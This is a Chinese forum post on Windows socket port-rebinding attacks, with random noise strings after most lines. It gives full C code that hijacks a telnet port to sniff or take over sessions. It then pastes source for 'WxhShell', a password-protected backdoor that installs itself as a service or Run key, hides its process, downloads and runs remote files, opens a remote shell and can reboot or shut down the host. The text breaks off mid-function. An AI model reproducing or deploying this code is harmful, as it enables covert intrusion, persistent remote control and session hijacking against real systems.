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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: CO{AC~  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); )NnkoCNeE  
DEt;$>tl 5  
  saddr.sin_family = AF_INET; "#]V^Rzxh  
(d#W3  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); qb KcI+)47  
9M7Wlx2  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ESi-'R&  
mhMRY9ahB  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 zv~b-Tp  
xPMX\aI|l  
  这意味着什么?意味着可以进行如下的攻击: <5npVm  
T#ehJq 5  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 [='<K  
~QU\kZ7Z  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) LsaRw-4.c  
}0 =gP?.kE  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 gsVm)mkd  
oB%j3aAH  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  M7c53fz  
.83z =  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 5Eu`1f?  
 EHda  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ]]/p.#oD,  
/OeOL3Y  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 tx]!|x" F  
M [6WcH0/T  
  #include %kL]-Z  
  #include 9` G}GU]@}  
  #include w C-x'  
  #include    T^H`$;\  
  DWORD WINAPI ClientThread(LPVOID lpParam);   c1h?aP  
  int main() Z(hRwIOF  
  { I ka V g L  
  WORD wVersionRequested; ]lA.?  
  DWORD ret; 6B@{X^6y  
  WSADATA wsaData; M3YC@(N% k  
  BOOL val; 8g6G},Y0  
  SOCKADDR_IN saddr; pF7S("#R  
  SOCKADDR_IN scaddr; E[tEW0ub  
  int err; J" U!j  
  SOCKET s; o_?A^u  
  SOCKET sc; >qci $  
  int caddsize; 6mC% zXR5  
  HANDLE mt; V?4G~~F  
  DWORD tid;   *7K)J8kq  
  wVersionRequested = MAKEWORD( 2, 2 ); 1VB{dgr  
  err = WSAStartup( wVersionRequested, &wsaData ); 0ae}!LO  
  if ( err != 0 ) { \g:Bg%43h  
  printf("error!WSAStartup failed!\n"); gkld}t*U  
  return -1; &I?d(Z=:\  
  } kRB2J3Nt.  
  saddr.sin_family = AF_INET; E7j9A`  
   !\|L(Paf  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ;\gHFG}  
]t;bCD6*  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Te@=8-u-  
  saddr.sin_port = htons(23); fe7DS)U  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) zwdi$rM5  
  { 9FmX^t$T  
  printf("error!socket failed!\n"); qrY]tb^K  
  return -1; d5 U+]g  
  } ?o_ D#gG*  
  val = TRUE; ThYHVJ[;  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 CChCxB  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) +t p@Tb  
  { pF'M  
  printf("error!setsockopt failed!\n"); zzZ K S  
  return -1; z>O=. Ku6  
  } ;1>)p x**  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; crRYgr  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 9+co `t.  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 l5l#LsaQb  
jfsbvak  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) wj|[a,(r  
  { >UB ozmF=\  
  ret=GetLastError(); _rfGn,@BH  
  printf("error!bind failed!\n"); 2qDVAq^@  
  return -1; ( 2i{8  
  } lvIdYf$?  
  listen(s,2); @1+({u#B  
  while(1) o|c%uw  
  { S01 Bc  
  caddsize = sizeof(scaddr); 6"_ytqw7  
  //接受连接请求 rPF2IS(5  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); XV:icY  
  if(sc!=INVALID_SOCKET) Q5/BEUkC  
  { gshgl3   
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); b[ .pD3  
  if(mt==NULL) zM++ Z*  
  { Ap9 %5:]  
  printf("Thread Creat Failed!\n"); 5/4q}U3  
  break; *)um^O  
  } QHbjZJ N  
  } ^Mi&2AvS  
  CloseHandle(mt); E~eSHJ(oR7  
  } nfA#d-  
  closesocket(s); LLW xzu!<  
  WSACleanup(); -%>.Z1uj  
  return 0; ql%]t~HR0  
  }   Xjnv8{X  
  DWORD WINAPI ClientThread(LPVOID lpParam) _U`1BmTC2  
  { W,p?}KiO T  
  SOCKET ss = (SOCKET)lpParam; VVm8bl.q  
  SOCKET sc; pXq5|,aC  
  unsigned char buf[4096]; f>jAu;S  
  SOCKADDR_IN saddr; 0j(/N  
  long num; ;8> TD&]{  
  DWORD val; kY]^~|i6  
  DWORD ret; S_Ug=8r4  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ("ulL5  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ff.;6R\  
  saddr.sin_family = AF_INET; i8> ^{GODR  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); [5$Y>Tr!  
  saddr.sin_port = htons(23); 8@d,TjJDo  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) /Q2{w >^DK  
  { EHcgWlT u  
  printf("error!socket failed!\n"); 6YpP/ K  
  return -1; 7W `gN[*  
  } EmubpUS;  
  val = 100; H\@@iK=  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) G5'HrV  
  { yfCdK-9+B  
  ret = GetLastError(); 8^av&u$  
  return -1; 5_= HtM[v]  
  } E>3(ff&  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) A]q"+Z]  
  { "`aLSw75x  
  ret = GetLastError(); !i*bb~  
  return -1; PxiJ R[a  
  } ( | X?  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) )|CF)T-  
  { \1cJ?/$_Of  
  printf("error!socket connect failed!\n"); ?(P3ZTk?.  
  closesocket(sc); {G(N vf,K]  
  closesocket(ss); LFT)_DG7(  
  return -1; ;PF!=8dW  
  } 3v7*@(y  
  while(1) H3qM8_GUA  
  { o@blvW<v7  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 C J#1j>  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ^E`SR6_cmj  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 `]3A#y)v  
  num = recv(ss,buf,4096,0); mQy!*0y  
  if(num>0) !;~6nYY  
  send(sc,buf,num,0); ={gfx;  
  else if(num==0) EG3?C  
  break; Zh,{e/j  
  num = recv(sc,buf,4096,0); |*-&x:p7O  
  if(num>0) =}7[ypQM`]  
  send(ss,buf,num,0); @h";gN  
  else if(num==0) Zm~oV?6  
  break;  2/v9  
  } mq*Efb)!  
  closesocket(ss); FCMV1,  
  closesocket(sc); + 4*jO5EZ  
  return 0 ; :{ Q[kYj  
  } ";$rcg"%X  
y?*4SLy  
|Wzdu2T  
========================================================== XlHt(d0h  
j`pX2S  
下边附上一个代码,,WXhSHELL -OPJB:7Z  
gS$?#!f  
========================================================== N#"(  
U jrML  
#include "stdafx.h" YqSkz|o}m  
-kI;yL  
#include <stdio.h> x=~$ik++  
#include <string.h> '#p2v'A  
#include <windows.h> -VVJf5/  
#include <winsock2.h> CBvvvgIo  
#include <winsvc.h> N% W298  
#include <urlmon.h> Uc<j{U ,  
S eTn]  
#pragma comment (lib, "Ws2_32.lib") XAF*jevr  
#pragma comment (lib, "urlmon.lib") qH1&tW$  
~v+A6N:qC  
#define MAX_USER   100 // 最大客户端连接数 NwPC9!*  
#define BUF_SOCK   200 // sock buffer smTPca)7s  
#define KEY_BUFF   255 // 输入 buffer QKt[Kte  
EvQMt0[?EW  
#define REBOOT     0   // 重启 Nn]|#lLP  
#define SHUTDOWN   1   // 关机 <W<>=vDzyE  
Tz{f 5c&  
#define DEF_PORT   5000 // 监听端口 {,`)  
[c_o.`S_\  
#define REG_LEN     16   // 注册表键长度 d"Aer  
#define SVC_LEN     80   // NT服务名长度 @+P7BE}  
W|e$@u9  
// 从dll定义API 6o4Bf| E]  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 5h6c W  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); y-i6StJ  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); m/(f?M l  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); >wOqV!0<  
e qzmEg  
// wxhshell配置信息 OX!<{9o  
struct WSCFG { vv% o+r-t  
  int ws_port;         // 监听端口 c^ifHCt|  
  char ws_passstr[REG_LEN]; // 口令 9yt)9f  
  int ws_autoins;       // 安装标记, 1=yes 0=no PBo;lg`  
  char ws_regname[REG_LEN]; // 注册表键名 qZz?i  
  char ws_svcname[REG_LEN]; // 服务名 ;H;c Sn5uL  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 RAps`)OR?  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 0l&#%wmJ,  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ZIo%(IT!c  
int ws_downexe;       // 下载执行标记, 1=yes 0=no c&AJFED]<  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ?1kXV n$  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 xYUC|c1Q9  
XzF-g*e  
}; k9Xv@v  
F&= X/  
// default Wxhshell configuration #'&&&_Hu3  
struct WSCFG wscfg={DEF_PORT, `C+>PCO  
    "xuhuanlingzhe", O<KOsu1WW  
    1, fCa*#ME  
    "Wxhshell", }cPH}[ $zF  
    "Wxhshell", ljw(cUM  
            "WxhShell Service", N&]GP l0  
    "Wrsky Windows CmdShell Service", /+g9C(['  
    "Please Input Your Password: ", ?wpS  
  1, /3`(Ki{ Q  
  "http://www.wrsky.com/wxhshell.exe", 8'}D/4MUr  
  "Wxhshell.exe" pDloew  
    }; ,6iXlch  
Je1'0h9d  
// 消息定义模块 f%2>pQTq@)  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; xh) h#p.  
char *msg_ws_prompt="\n\r? for help\n\r#>"; }mx>3G{d  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; p|f5w"QcH  
char *msg_ws_ext="\n\rExit."; )=]u]7p}  
char *msg_ws_end="\n\rQuit."; -cL{9r&X  
char *msg_ws_boot="\n\rReboot..."; &}q;,"  
char *msg_ws_poff="\n\rShutdown..."; 6*u WRjt  
char *msg_ws_down="\n\rSave to "; e"@Ag:r@a  
Un.u{$po  
char *msg_ws_err="\n\rErr!"; lc qpwSk  
char *msg_ws_ok="\n\rOK!"; _q7mYc  
41Nm+$m  
char ExeFile[MAX_PATH]; zD z"Dn9  
int nUser = 0; ;?K>dWf3f  
HANDLE handles[MAX_USER]; } S,KUH.  
int OsIsNt; 2QN ~E  
"1iLfQ  
SERVICE_STATUS       serviceStatus; zZ*\v  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ^0fe:ac;  
Y$\c_#/]  
// 函数声明 RP1sQ6$  
int Install(void); [42EqVR  
int Uninstall(void); J'H}e F`  
int DownloadFile(char *sURL, SOCKET wsh); "k'P #v{f  
int Boot(int flag); lc8zF5  
void HideProc(void); 8EBy5X}US  
int GetOsVer(void); OoqA`%  
int Wxhshell(SOCKET wsl); u>y/<9]q8  
void TalkWithClient(void *cs); 1>IA9]D7  
int CmdShell(SOCKET sock); z3mo2e  
int StartFromService(void); S+* g  
int StartWxhshell(LPSTR lpCmdLine); ZK p9k6  
T5gL  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); EjDr   
VOID WINAPI NTServiceHandler( DWORD fdwControl ); qQ T ^d  
Mr6q7  
// 数据结构和表定义 l?Qbwv}  
SERVICE_TABLE_ENTRY DispatchTable[] = HV}*}Ty  
{ OB5t+_ s  
{wscfg.ws_svcname, NTServiceMain}, 4;D>s8dgG  
{NULL, NULL} fUV;3du  
}; 31)eDs  
_>=QZ`!r  
// 自我安装 'U/X<LCl  
int Install(void) 'irHpN6n  
{ >= VCKN2'j  
  char svExeFile[MAX_PATH]; nSR<(-j!  
  HKEY key; 1 LUvs~Qu  
  strcpy(svExeFile,ExeFile); *ud/'HR8]  
t8_i[Hw6D  
// 如果是win9x系统,修改注册表设为自启动 )~LqBh  
if(!OsIsNt) { k,0lA#>  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { L_{gM`UFc  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); e]k\dj;,^%  
  RegCloseKey(key); N`xXH  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 746['sf4c  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); tYST&5Kh~  
  RegCloseKey(key); t*dd/a  
  return 0; d: {#Dk#  
    } [+.P'6/[$R  
  } z5q(  
} c)B <d#  
else { 9JBVG~m+  
|:b!e  
// 如果是NT以上系统,安装为系统服务 >uy(N  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ;/s##7qf  
if (schSCManager!=0) `Dp_c&9]  
{ Zg;%$ kSQ  
  SC_HANDLE schService = CreateService D wtvtglqV  
  ( q2}6lf,J K  
  schSCManager, [Zj6v a  
  wscfg.ws_svcname, Cj1nll8c  
  wscfg.ws_svcdisp, DR c-L$bD  
  SERVICE_ALL_ACCESS, -*AUCns#  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , }F=lG-x  
  SERVICE_AUTO_START, .h=H?Hr(V]  
  SERVICE_ERROR_NORMAL, m#a1N  
  svExeFile, <4,LTB]9-  
  NULL, g7@.Fa.u'!  
  NULL, gl>%ADOB@  
  NULL, ;{:bq`56f  
  NULL, [\,Jy8t)\  
  NULL V \Sl->:  
  ); YX{c06BHs  
  if (schService!=0) #.W^7}H  
  { ?f&O4H  
  CloseServiceHandle(schService); Q)L6+gW^  
  CloseServiceHandle(schSCManager); /pYp, ak  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); v FWg0 $,  
  strcat(svExeFile,wscfg.ws_svcname); ]!'9Y}9a  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 7j~}M(s"  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); S<Od`I  
  RegCloseKey(key); i{2ny$55h  
  return 0; P`TJqJiY~  
    } CEl9/"0s6  
  } G/y;o3/[Z  
  CloseServiceHandle(schSCManager); E;-*LT&{  
} s^zX9IVnp  
} {}DoRp q=  
:{'%I#k2  
return 1; .X;D I<K  
} fA" VLQE  
fZNe[|  
// 自我卸载 |@Sj:^cJD  
int Uninstall(void) l0nm>ps'D  
{ _,bDv`>Ra  
  HKEY key; C<yjGt VD  
G^&P'*  
if(!OsIsNt) { ?CSv;:  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;q&2$Mb  
  RegDeleteValue(key,wscfg.ws_regname); kH">(f  
  RegCloseKey(key); -&QTy  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >&D}^TMYY  
  RegDeleteValue(key,wscfg.ws_regname); Xcw 6mpLt  
  RegCloseKey(key); NGL,j\(~7  
  return 0; @*^%^ P  
  } hzV= 7  
} aM!%EaT  
} BVe c  
else { Pt\GVWi_t  
K(75)/  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); |$G|M=*LN  
if (schSCManager!=0) =l+~}/7'Z  
{ D0VbD" y  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 6`V~cVu  
  if (schService!=0) d$#DXLA\P  
  { g\Akf  
  if(DeleteService(schService)!=0) { SK t&BnW  
  CloseServiceHandle(schService); vNSeNS@jxC  
  CloseServiceHandle(schSCManager); E:ti]$$  
  return 0; Ck>{7 Gw  
  } _ 0h)O  
  CloseServiceHandle(schService); L.Tu7+M4  
  } ]%eyrbU  
  CloseServiceHandle(schSCManager); %[WOQ.Sh  
} Y0xn}:%K  
} kX "*kD  
?G<.W[3  
return 1; 49-wFF  
} N-YCOSUu  
='Fh^]*5  
// 从指定url下载文件 BI:O?!:9)  
int DownloadFile(char *sURL, SOCKET wsh) 6S&OE k  
{ DW >|'w%  
  HRESULT hr; ]*TW%mY  
char seps[]= "/"; xV>sc;PEb  
char *token; {pz7ADK<  
char *file; (g3@3.Kk)  
char myURL[MAX_PATH]; G6q*U,  
char myFILE[MAX_PATH]; f(E[jwy  
&@fW6},iW  
strcpy(myURL,sURL); 0T.kwZ8  
  token=strtok(myURL,seps);  >^J  
  while(token!=NULL) |H&&80I  
  { h%8C_m A  
    file=token; o@uZU4MM  
  token=strtok(NULL,seps); n0%5mTUN  
  } X1 FKcWv  
 4 `]  
GetCurrentDirectory(MAX_PATH,myFILE); \ fSo9$  
strcat(myFILE, "\\"); tNC ;CP#R+  
strcat(myFILE, file); ^7iP!-w/  
  send(wsh,myFILE,strlen(myFILE),0); bBgyLyg  
send(wsh,"...",3,0); {4YD_$4W  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 4b  1a?  
  if(hr==S_OK) "9O8#i<Nr  
return 0; >gf,8flgj  
else P0ZY;/e5h  
return 1; DSL3+%KF#  
Xz\X 8I  
} Rv Uw,=  
Wp(Rw4j  
// 系统电源模块 gPcOm b  
int Boot(int flag) gVI T6"/  
{ ^a?g~G  
  HANDLE hToken; e`bP=7`0  
  TOKEN_PRIVILEGES tkp; ~*hCTqH vN  
j5MUP&/g3  
  if(OsIsNt) { t`pbEjE0K  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); sfzDE&>'  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 0 `$fs.4c  
    tkp.PrivilegeCount = 1; Z=9gok\  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; &}!AjA)  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); SlI wLv^  
if(flag==REBOOT) { uxbLoE  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) K:b^@>XH  
  return 0; #+(@i|!ifo  
} dfWtLY  
else { UY^TTRrH  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) \:9<d@?  
  return 0; n*rXj{Kt  
} @B Muov  
  } +c' n,O~3  
  else { l`r O)7  
if(flag==REBOOT) { .s\_H,  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) J6gn!  
  return 0; B_S))3   
} [ i8Ju  
else { qflOi8  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 1^tM%2rP'  
  return 0; OXS.CFZM  
} 7[:?VXQ  
} l._g[qa  
'tJxADK  
return 1; =kjD ]+l  
} : $N43_Wb  
T$1(6<:+.  
// win9x进程隐藏模块 -FQc_k?VF  
void HideProc(void) iHeu<3O  
{ :;KQ]<  
gUH|?@f  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); }fL ]}&  
  if ( hKernel != NULL ) H $mZ?  
  { ~toR)=Yv  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); iz3Hoj  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); uLr-!T  
    FreeLibrary(hKernel); 8\rAx P}=  
  } wowWq\euY  
? kCo/sW  
return; TecWv@.  
} t|C?=:_  
~(]'ah,  
// 获取操作系统版本 Au"BDP  
int GetOsVer(void) TGuCIc0B{  
{ t(1gJZs>kX  
  OSVERSIONINFO winfo; T'a&  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); `a5,5}7v%`  
  GetVersionEx(&winfo); A`1-c   
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) R~BFZF>:  
  return 1; _7<G6q2(  
  else {EJ+   
  return 0; FTu<$`!1L  
} &Z%'xAOGR  
*1h@Jb34  
// 客户端句柄模块 'j;i4ie>*x  
int Wxhshell(SOCKET wsl) \_MWZRMc5  
{ y\R-=Am".  
  SOCKET wsh; :PNhX2F  
  struct sockaddr_in client; \jr-^n]  
  DWORD myID; #g~]2x  
zz #IY'dwT  
  while(nUser<MAX_USER) |8fdhqy_  
{ HG^~7oMf  
  int nSize=sizeof(client); LBIEG_/m  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); l $0w 9Z^  
  if(wsh==INVALID_SOCKET) return 1; _ME?o  
s8SCEpz  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Iv/h1j> H  
if(handles[nUser]==0) WS"v"J%  
  closesocket(wsh); ,{d=<j_  
else ?ZYj5[op,H  
  nUser++; p+V::O&&r  
  } `HILsU=|  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); oI"gQFGu`u  
f!G%$?]  
  return 0; j]m|}n  
} XsX];I{E,  
'y7<!uo?  
// 关闭 socket S2?)Sb`  
void CloseIt(SOCKET wsh) 0aGAF ]  
{ eBqF@'DQ  
closesocket(wsh); 3935cxT1U  
nUser--; aT8A +=K6  
ExitThread(0); H>wXQ5?W;  
} D0yH2[j+  
T#a6X;9P  
// 客户端请求句柄 S"/gZfxer  
void TalkWithClient(void *cs) `+(4t4@ew  
{ 7e /Kh)5G  
VM+l9 z>  
  SOCKET wsh=(SOCKET)cs; }] . |7h  
  char pwd[SVC_LEN]; 0G3T.4I  
  char cmd[KEY_BUFF]; EGj zjuJu{  
char chr[1]; $YK~7!!  
int i,j; ~>$z1o&}.  
' wKTWmf?\  
  while (nUser < MAX_USER) { |sBL(9  
1~vv<`-  
if(wscfg.ws_passstr) { |T{ZDJ+  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); *}Rd%'  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); n"<'F4r  
  //ZeroMemory(pwd,KEY_BUFF); X [;n149o  
      i=0; Tvw(S q};  
  while(i<SVC_LEN) { y2Vc[o(NP  
yppXecFJ  
  // 设置超时 2>.>q9J(  
  fd_set FdRead; l#a*w  
  struct timeval TimeOut; 4g?qKoc i  
  FD_ZERO(&FdRead); 10*^  
  FD_SET(wsh,&FdRead); _#w5hX cu  
  TimeOut.tv_sec=8; a]4|XJ_  
  TimeOut.tv_usec=0; j2jUrl  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); JB HnJm  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); r6 L  
!%QbE[Kl>  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Tx/KL%X  
  pwd=chr[0]; s "l ^v5  
  if(chr[0]==0xd || chr[0]==0xa) { F>at^6^  
  pwd=0; ]CgZt' h{  
  break; :U-yO 9!j  
  } uN6xOq/  
  i++; uR82},r$m  
    } [Rzn>  
[}y"rs`!  
  // 如果是非法用户,关闭 socket Zk0?=f?j  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); h|ja67VG  
} @@|H8mP}H  
3A el  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); %j?7O00 @  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >c.HH}O0W  
l6!a?C[2T  
while(1) { r`C t/]c  
2hT H  
  ZeroMemory(cmd,KEY_BUFF); I# |ib  
Og kb N`  
      // 自动支持客户端 telnet标准   (Jk:Qz5  
  j=0; 2_){4+,fu  
  while(j<KEY_BUFF) { i(kr#XsU  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 42 Sk`  
  cmd[j]=chr[0]; LdyE*u_  
  if(chr[0]==0xa || chr[0]==0xd) { =[o/D0-Kn  
  cmd[j]=0; c1StA  
  break; G[!<mh4h|  
  } a0Q\]S  
  j++; Cv qUaHW@  
    } ;sd] IZ$#  
IFWP&20  
  // 下载文件 ~<[]l~`  
  if(strstr(cmd,"http://")) { iPrAB*  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Dz+R Q`Vn  
  if(DownloadFile(cmd,wsh)) JDBNi+t  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); "`5BAv;u  
  else ]j< & :_  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); m ,TYF  
  } ooT~R2u  
  else { BO;LK-V  
{4b8s%:!4  
    switch(cmd[0]) { <nn!9V\C   
  RQ[6svfP  
  // 帮助 e6^iakSd.L  
  case '?': { mC84fss  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); kk3G~o +  
    break; S;S_<GX  
  } BU;E6s>P  
  // 安装 ) 2Hl\"F  
  case 'i': { +K[H! fD  
    if(Install()) P4~C0z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); N9cUlrDO  
    else ^ v@& q  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); U+g<lgH1J  
    break; vjD||!g'  
    } !,PoH  
  // 卸载 a5%IjgQ&z  
  case 'r': { T8a!"lPP7  
    if(Uninstall()) (1Ii86EP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); R~(_m#6`:  
    else uJ/ &!q<3  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Cg&cz]*q|  
    break; -44''w?z  
    } !u|s| 6{\  
  // 显示 wxhshell 所在路径 Sc&p*G  
  case 'p': { `<d{(9:+  
    char svExeFile[MAX_PATH]; 6w^Fee`>]  
    strcpy(svExeFile,"\n\r"); <4P"1#nHQ+  
      strcat(svExeFile,ExeFile); u\|Ys  
        send(wsh,svExeFile,strlen(svExeFile),0); 0"$'1g^]7  
    break; /<oBgFMoJ  
    } G7H'OB &  
  // 重启 rfxLCiV  
  case 'b': { Hf$LWPL)lM  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); KmRxbf  
    if(Boot(REBOOT)) STgYXA(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); QsH Fk5)  
    else { D$y-Kh  
    closesocket(wsh); ziui  
    ExitThread(0); Fs)m;C  
    } FBJ Lkg0  
    break; Po82nKAh  
    } _ ?Z :m  
  // 关机 I%31MU9  
  case 'd': { C\p _  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Qz/1^xy  
    if(Boot(SHUTDOWN)) ' fP`ET5  
